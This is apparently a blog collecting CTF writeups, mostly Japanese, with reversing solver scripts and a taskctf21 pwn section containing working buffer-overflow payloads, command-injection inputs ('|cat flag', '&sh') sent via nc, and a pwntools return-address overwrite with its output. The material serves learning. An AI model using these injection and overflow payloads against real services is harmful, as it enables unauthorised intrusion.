TSG LIVE! 8 CTF Writeup

Revしか解けなかった (& 取り組めなかった) ので、もっと早解きできるように精進していきます。

TSGの皆さま、素晴らしいCTF (+生放送) の企画・運営をしていただき、ありがとうございました!

DNS ROPOB (Rev)

静的解析

静的解析を妨害する目的だと思われるコードが含まれた実行ファイルが配布されます。 冷静に逆アセンブル結果を読んでいくと、入力を所定のキーでXORエンコードしたものと、ハードコードされているバイト列同士をXORエンコードしたものを比較することで、Flagが正しいかどうか検証していることがわかります。 以下のようにFlagを1文字ずつ求めるスクリプトを書けば、Flagが得られます。

ソルバ

enc = [0x12, 0x18, 0x10, 0x48, 0x99, 0x49, 0x49, 0x93, 0x48, 0x59, 0x59, 0xF3, 0xA8, 0xE8, 0x49, 0xD4, 0xC6, 0xB5, 0x68, 0x0A, 0x8C, 0x85, 0x96, 0xE7, 0xF8, 0x69, 0x57, 0x43, 0xA3, 0x76, 0x8D, 0x7C]
seed = [0x37, 0x28, 0x26, 0x68, 0xBC, 0x6C, 0x43, 0xB9, 0x66, 0x5B, 0x45, 0xCF, 0xB0, 0xE5, 0x4B, 0xC7, 0xDE, 0xA4, 0x7C, 0x0D, 0xA2, 0x80, 0x95, 0xEB, 0xE4, 0x55, 0x74, 0x6F, 0x82, 0x5A, 0xBE, 0x62]

flag = ''
key = [0x63, 0x71]

for i in range(0x20):
    flag += chr(enc[i] ^ seed[i] ^ key[(i+1)%2])

print(flag)

zer0pts CTF 2022 - service (Rev) Writeup

Warmup問しか解けませんでした。悔しいので精進します。主催者およびスポンサーの皆様、素晴らしいCTFを開催してくださりありがとうございました。

service (Rev)

入力した文字列から2文字ずつSHA256ハッシュを求めて、ハードコードしてあるものと比較している。インポートテーブルが書き換えられており、IDA等では謎な逆アセンブル結果が表示されるが、デバッガーを用いることでWin32APIのCrypto周りの関数を呼び出していることがわかる。

import string
import hashlib

flag = ""

with open('chall.exe', 'rb') as cf:
    cf.seek(0x2220)
    dat = cf.read(0x261f-0x2220+1)

for i in range(0, 32*32, 32):
    for c1 in string.printable:
        for c2 in string.printable:
            pos = c1 + c2
            if dat[i:i+32].hex() == hashlib.sha256(pos.encode()).hexdigest():
                flag += pos

print(flag)

taskctf21 Writeup

面白かったです!主催者のtask4233さん、素晴らしいCTFをありがとうございました。

Welcome

welcome

Sanity Check. C&P.

Misc

js

うまく記号だけのJavaScriptコードで yes という文字列を表現してPOSTすればFlagを取得することができます。(参考1,参考2)

import requests
print(requests.post("http://34.145.29.222:30009", json={'want_flag': '(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[[+!+[]]+[+[]]]+(!![]+([]+[]))[!+[]+!+[]+!+[]]+(![]+([]+[]))[!+[]+!+[]+!+[]]'}).text)
# taskctf{js_1s_4_tr1cky_l4ngu4ge}

polyglot / polygolf

C言語、Go言語の両方で動作する(かつpolygolfでは185バイト以下のサイズの)コードを作成して送信することでFlagを取得することができます。(参考)

以下は私が書いて使用したコード。

// \
/*
main(){system("cat flag");}
#if 0
//*/package main
import(."fmt"
."os/exec")
func main(){f,_:=Command("cat", "flag").Output()
Print(string(f))}
// \
/*
#endif//*/

Pwnable

super_easy

BOFするように適当なPayloadを送信すればFlagを取得することができます。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc 34.145.29.222 30002
Input task name
task
task name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
task done: 1094795585
taskctf{bre4k_e4sily}

super_easy2

スコアの値が0x1337になるようなPayloadを送信すればFlagを取得することができます。

$ echo -e 'AAAAAAAAAAAAAAAA\x01\x00\x00\x00\x37\x13\x00\x00' | nc 34.145.29.222 30003
Input task name
task
task name: AAAAAAAAAAAAAAAA
task done: 1
taskctf{y0u_c4n_4ls0_0verwr1te}

script_kiddie

配布されているソースコードを読んでみると、自明なOSコマンドインジェクション脆弱性が見つかるので、cat flag するようなPayloadを送信すればFlagを取得することができます。

$ echo '|cat flag' | nc 34.145.29.222 30005
Which flag do you want?taskctf{n0w_y0u_g0t_shell}

super_easy3

新しく加わった deadline によるチェックをクリアできるようにExploitすればFlagを取得することができます。

// gcc genpayload.c -o genpayload
#include <stdio.h>
#include <stdint.h>
#include <time.h>

typedef struct {
  char name[16];
  uint32_t is_done;
  uint32_t score;
  double rate;
  time_t deadline;
} TASK;

int main()
{
    TASK task = {"AAAAAAAAAAAAAAAA",1,0x1337,999,time(NULL)};
    FILE *fp = fopen("/tmp/task.tmp", "wb");
    fwrite(&task, sizeof(TASK), 1, fp);
    return 0;
}
from pwn import *
import subprocess

io = remote('34.145.29.222', 30004)
subprocess.run(["./genpayload"])
cs = open('/tmp/task.tmp','rb').read()
io.send(cs)
io.interactive()
$ python3 solve.py
[+] Opening connection to 34.145.29.222 on port 30004: Done
[*] Switching to interactive mode
Input task name
$
task
task name: AAAAAAAAAAAAAAAA
task done: 1
task score: 4919
task deadline: Sun Dec 12 10:11:39 2021

taskctf{n0w_y0u_kn0w_t1me_t}[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 34.145.29.222 port 30004

script_kiddie2

sh して cat flag すればFlagを取得することができます。

$ nc 34.145.29.222 30007
Which flag do you want?&sh

cat flag
taskctf{sh_1s_als0_0k}

prediction

Return Addressを書き換えるようなExploitを書けばFlagを取得することができます。

from pwn import *
import struct

io = remote('34.145.29.222', 30006)

payload = b'taskctf{'
payload += b'A'*48
payload += struct.pack('<I', 0x4013F7)
io.sendline(payload)
io.sendline(b'cat flag')
io.interactive()
> python .\prediction_solve.py
[x] Opening connection to 34.145.29.222 on port 30006
[x] Opening connection to 34.145.29.222 on port 30006: Trying 34.145.29.222
[+] Opening connection to 34.145.29.222 on port 30006: Done
[*] Switching to interactive mode
What is the flag?
***start stack dump***
0x7fff7a7cc980: 0x7b6674636b736174 <- rsp
0x7fff7a7cc988: 0x4141414141414141
0x7fff7a7cc990: 0x4141414141414141
0x7fff7a7cc998: 0x4141414141414141
0x7fff7a7cc9a0: 0x4141414141414141
0x7fff7a7cc9a8: 0x4141414141414141
0x7fff7a7cc9b0: 0x4141414141414141 <- rbp
0x7fff7a7cc9b8: 0x00000000004013f7 <- return address
0x7fff7a7cc9c0: 0x0000000000000000
0x7fff7a7cc9c8: 0x00007ff3b999c0b3
0x7fff7a7cc9d0: 0x00007ff3b9b616a0
***end stack dump***

taskctf{r0p_1s_f4mous_way}

ちなみに別解もあります。

$ strings prediction | grep taskctf{
taskctf{
taskctf{r0p_1s_f4mous_way}

多分これが一番早いと思います。 :joy:

Buckeye CTF 2021 Rev/Misc Writeup

I have participated Buckeye CTF 2021, and solved most of Misc challenges *1 & 3 Rev challenges. They were really fun, and I am excited to study about hard Rev challenges that I could not solve after the competition. Thanks to all of the organizers & sponsors for this CTF!!!

Rev

BASIC

Program file for TI83F is distributed. It can be decoded into human readable code using certain tool like 8xpdump, and flag can be obtained from it.

hackmd.io

Buttons

By decompiling the given jar file into java code, we can figure out that its something like maze game. Grid (with information that where player should not step in) is hardcoded, so player can reach out flag using it.

hackmd.io

The Legend of the Headless Horseman

By looking into given executable, I knew that head-part of ELF file (for multiple architecture) is hardcoded, so I have extracted from it. Challenge description, text inside executable gave me an idea that distributed files under body_bag directory can be combined with these headers. I used QEMU for each architecture to discover which combination of ELF header and body part is working. As a result of analyzing the working ELF file obtained, I got a flag for this challenge.

hackmd.io

Misc

sanity_check

C&P flag from Discord.

replay

Send same input as pcap file is showing.

hackmd.io

layers

Save docker image as a file, and extract image file with the flag from it. At first, I though that this is sort of forensics challenge XD

hackmd.io

USB Exfiltration

Pcap file with USB packets is distributed. There is nothing complicated here, just extract & combine & decompress. Btw, I was the 3rd person who have solved this challenge!!!

hackmd.io

Don't Talk to Blue Birds

Path to flag can be found on following post at Twitter. Searching phrase Witch Security will reach out this account.

Open Source In(sta)telligence

Path to flag can be found on following post at Instagram. Searching phrase Witch Security will reach out this account.

www.instagram.com

*1:I was slept when "Survey" challenge has been opened. :sob:

Flare-On Challenge 1 (2014) 追走

昨日の朝から夜(解けた問題については06:00 ~ 14:47)までFlare-On Challenge 1 (2014) の問題を解いていたので、簡単なWriteupなどを公開させていただければと思います。問題の配布ファイル等はこちらからダウンロードできるので、興味のある方は是非解いてみてください。

私の中では「常設のようなもの」という認識なのでFlagは基本的にマスクしてあります。解き方のみ書いてありますので、ご了承ください。

解けていない6問目と7問目についても、近いうちにリベンジしたいです!

C1

アイコン、逆アセンブル (逆コンパイル) 結果、strings コマンドの結果などから配布された実行ファイルが Win32 Cabinet Self-Extractor というものだとわかります。普通に実行しても内部のデータは解凍できるのですが、今回は圧縮データのヘッダをバイナリエディタ上で探して手動で解凍 (7-Zipなどで可能) することで実体となる実行ファイルを取り出しました。.NETで作成されたプログラムだったので、dotPeekを使って解析することで解きました。

hackmd.io

C2

home.html を読むことで img/flare-on.png 内にPHPコードが含まれていることがわかります。難読化が施されていますが、読み進めればFlagが書かれていることがわかります。

hackmd.io

C3

シェルコードがStackstrings-likeな手法で埋め込まれているプログラムが配布されています。埋め込まれたシェルコードを抽出し、解析することも可能だと思いますが、(自分のスキルでは難しかったので)デバッガを使って手早く解きました。

hackmd.io

C4

binwalk コマンドで配布されたPDFファイルを分析してみると、内部に zlib 圧縮されたデータがあることがわかります。圧縮データのうちの一つを解凍してみると、埋め込まれていたJavaScriptコードを取得することができました。シェルコードもしくは実行ファイルと思わしきデータがハードコードされていたので抽出し、デバッガを用いて解析することで解きました。

hackmd.io

C5

配布されたDLLファイルを解析すると、キーロガーのような機能が実装されていることがわかります。またキーが押された際の処理を幾つか読むことで、正しい順番でキーを押す (Flagを入力する) と、ダイアログが表示される仕組みになっていることがわかります。愚直に静的解析して解きましたが、恐らくもっと簡単に解く方法があると思います。ソルバなどはないので、本問題に関しては解析の結果を反映したgzfファイルを配布させていただきます。

drive.google.com

C6 (解けていない)

二時間ほどGhidraでプログラムを眺めていたのですが、解き方が一向にわかりませんでした。

C7 (解けていない)

内部に何重にもXORエンコードされたデータが埋め込まれており、正しい方法でデコードすればFlagもしくは次のステージの実行ファイルが得られるもの(だと思います)。通常の環境 (デバッガなどが動作しておらず、金曜日でも17時でもない環境) で実行した場合に得られるであろうデータを復号するスクリプトは書けたのですが、正しくデコードできていないようでした。

最後に

素晴らしい & 難しい良問ばかりで、こうした問題を手早く解けるであろうマルウェア解析者の方々は本当に凄い人たちだと実感しました。そうした方々に少しでも追いつけるよう、今後もCTFへの参加などを続けてReversing力を鍛えていきたいと思っています。

WaniCTF 2020 Reversing問 追走

本記事はWriteupではありません。ソルバの書かれたHackMDへのリンクと物凄く簡略化した解法を殴り書きしているだけの記事です。予めご了承ください。

complex

angrで解きましたが、Flagが出力されるまで少し時間がかかります。非常識なレベルで遅いわけではなかったので良しとしましたが、多分 claripy などを使えばもっと効率よくFlagを求めることができます。

hackmd.io

simple

シンプルなstackstrings問。

hackmd.io

static

UPXでパックされたバイナリが渡される系の問題です。アンパックした後は普通に解析すれば解けます。

hackmd.io

strings

ウイニングランです。strings して grep FLAG{ すれば解けます。

hackmd.io

感想

良問が多くて楽しみながら解くことができました。Wani Hackase さん、素晴らしいCTFを開催していただきありがとうございました。